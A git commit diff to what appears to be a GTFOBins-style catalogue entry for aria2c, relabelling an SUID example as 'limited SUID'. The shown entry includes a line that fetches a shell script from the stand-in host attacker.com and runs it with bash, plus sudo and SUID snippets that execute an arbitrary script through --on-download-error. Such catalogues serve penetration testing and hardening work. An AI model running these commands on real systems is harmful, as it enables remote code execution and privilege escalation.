Switch SUID to Limited SUID in aria2c

This commit is contained in:
Shikata 2021-01-11 13:45:21 +02:00
parent c09b95053f
commit 211edf746b

View File

@ -10,13 +10,6 @@ functions:
aria2c --on-download-error=$TF http://x aria2c --on-download-error=$TF http://x
- description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. - description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.
code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
suid:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
sudo: sudo:
- code: | - code: |
COMMAND='id' COMMAND='id'
@ -24,4 +17,11 @@ functions:
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
chmod +x $TF chmod +x $TF
sudo aria2c --on-download-error=$TF http://x sudo aria2c --on-download-error=$TF http://x
limited-suid:
- code: |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
--- ---